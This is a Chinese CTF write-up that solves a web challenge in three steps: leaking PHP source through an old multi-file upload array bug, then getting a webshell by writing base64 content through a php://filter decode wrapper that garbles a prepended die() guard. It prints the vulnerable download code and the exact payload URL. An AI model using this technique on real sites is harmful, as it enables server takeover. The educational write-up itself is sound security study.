0x00 前言
L.N.师傅的这道题有点厉害,神奇的上传漏洞和有趣的 Get Shell 思路让人脑洞小开,从中学习到了很多有趣的东西特此小记。
由于第一集没有做出来,所以这次玩的是续集: [续集]火币网 2 W 大挑战
1
2
3
4
| 由于乌云大会上无人解出此题,继续放出等待,有缘人获取火币网赞助价值2w人民币的比特币。
tips:
1. 多文件上传,php源码对数组键值处理错误导致安全漏洞
2. base64解码导致字符丢失
|
两个 Tips,一个是读取源码的,另一个是绕过<?php die();?>拿 Shell 的。
0x01 前期准备
首先来一发扫描目录
1
2
3
4
5
6
7
8
9
| [17:41:36] 403 - 313B - /cgi-bin/
[17:41:36] 200 - 0B - /config.php
[17:41:37] 301 - 360B - /css -> http://464e9b54c7a12250a.jie.sangebaimao.com/css/
[17:41:39] 301 - 363B - /images -> http://464e9b54c7a12250a.jie.sangebaimao.com/images/
[17:41:39] 200 - 4KB - /index.php
[17:41:39] 200 - 4KB - /index.php/login/
[17:41:39] 301 - 359B - /js -> http://464e9b54c7a12250a.jie.sangebaimao.com/js/
[17:41:42] 200 - 41KB - /phpinfo.php
[17:41:45] 301 - 363B - /upload -> http://464e9b54c7a12250a.jie.sangebaimao.com/upload/
|
从中得知有phpinfo.php这个文件,于是乎访问phpinfo.php之。

得到了一个重要信息PHP Version 5.2.18-dev,这个 PHP 版本很老,结合 Tips 可知旧版本上传安全检查不严导致的漏洞产生。
0x02 上传之读取源码
这个神奇的上传洞,大致原理就是低版本 php 上传部分对数组没有严格校验有安全漏洞,导致构造恶意数组会使上传内容错乱(在此则是上传的内容变成我们读取的文件的内容)。
这个地方有两个套路,一个是程序自身带有输出文件内容导致源码泄露(局限较大);另一个则是漏洞会把我们要读取文件的内容变成我们上传的内容,写到 txt 文件后就可读取源码了(知道上传路径即可获取源码)。
我们发现上传完一个文件后,底部会输出我们文件内容的 base64 加密后的密文,于是我们的套路一在此可用。

构造缺陷数组,进行攻击。

结果在返回的数据,可以看到我们可以读取 index.php 的内容,这就是套路一,成功获得了整站源码。
套路二
在进一步测试之后,发现点击完下载作业,把我们上传的代码转存到本地的时候,访问upload/b3.txt看到了有趣的一幕。

PHP 内部发生了奇妙的变化,使得上传的内容被替换成了目标文件index.php的源代码,这就是套路二。
获取完源代码之后开始尝试利用 Tips2 获得 Shell。
0x03 二次解密显真容
经过我们仔细研究,发现了一个可控的点做一些羞羞的事情。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| if(isset($_GET['download']) and isset($_GET['filename']))
{
$download = addslashes(htmlspecialchars_decode($_GET['download']));
$filename = addslashes(htmlspecialchars_decode($_GET['filename']));
# $_GET['filename'] = 'php://filter/write=convert.base64-decode/resource=upload/davex.php';
# echo addslashes(htmlspecialchars_decode($_GET['filename']));"
# Output: php://filter/write=convert.base64-decode/resource=upload/davex.php
if(file_exists($filename))
{
unlink($filename);
}
$sql = "select content from homework where id='$download'";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
$devalContents = "<?php die; ?>\n";
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));
}
$sql = "delete from homework where id='$download';";
if(!mysql_query($sql))
{
die("hello hacker!");
}
}
|
这部分代码中,我们见到file_put_contents函数,又发现$filename是可控的,结合phpinfo中支持php伪协议,我们可以利用 php 伪协议搞事情。

于是乎,根据 L.N.师傅的提醒,我们 Get Shell 的大致思路就出来了。
上传\n\r[换行符]base64_encode(shell)->点击下载作业,把base64_encode(shell)写到upload/davex.php->php 伪协议base64_decode(die + base64_encode(shell)
这样子 die 就变成了乱码,后面的 shell 就显示出来真容。
我们开始上传:
1
2
3
4
| upload/davex.php
<?php die; ?>
\n\r
base64_encode(shell)
|

我们再上传一次 shell,然后利用可控的$filename,我们使用 php 伪协议操作文件,把upload/davex.php解密一次。
1
2
3
| payload = php://filter/write=convert.base64-decode/resource=upload/davex.php
http://464e9b54c7a12250a.jie.sangebaimao.com/index.php?download=3576&filename=php://filter/write=convert.base64-decode/resource=upload/davex.php
|

(前面的乱码就是,忽略运营商劫持插入的 js 文件)
这部分的原理我和 Veneno 师傅和 Aklis 师傅研究了一个晚上,实验之后了解了这个协议和这个函数的大致用法。
我们上传两个文件,一个是 shell.txt(里面是\n\r[换行符]base64_encode(shell)),一个是 blank.php(空文件)。
1
2
3
4
5
6
| payload: index.php?download=[shell.txt id]&filename=php://filter/write=convert.base64-decode/resource=upload/blank.php
file_put_contents("$filename",$devalContents);
# file_put_contents("php://filter/write=convert.base64-decode/resource=upload/blank.php
",[shell.txt的内容]);
|
也就是说覆盖blank.php,其内容是shell.txt的内容 base64_decode,于是乎我们的 blank.php 被覆盖成我们的 shell 了。
这次的题目让人大开眼界,尤其是 0x01 的利用,感谢挑战者联盟中的师傅们的帮助,也感谢 L.N.师傅和三个白帽让大家有一个开脑洞的机会。
0x04 相关资料
PHP: $_FILES - php.net
PHP: php:// - php.net
LFI、RFI、PHP封装协议安全问题学习 - .Little Hann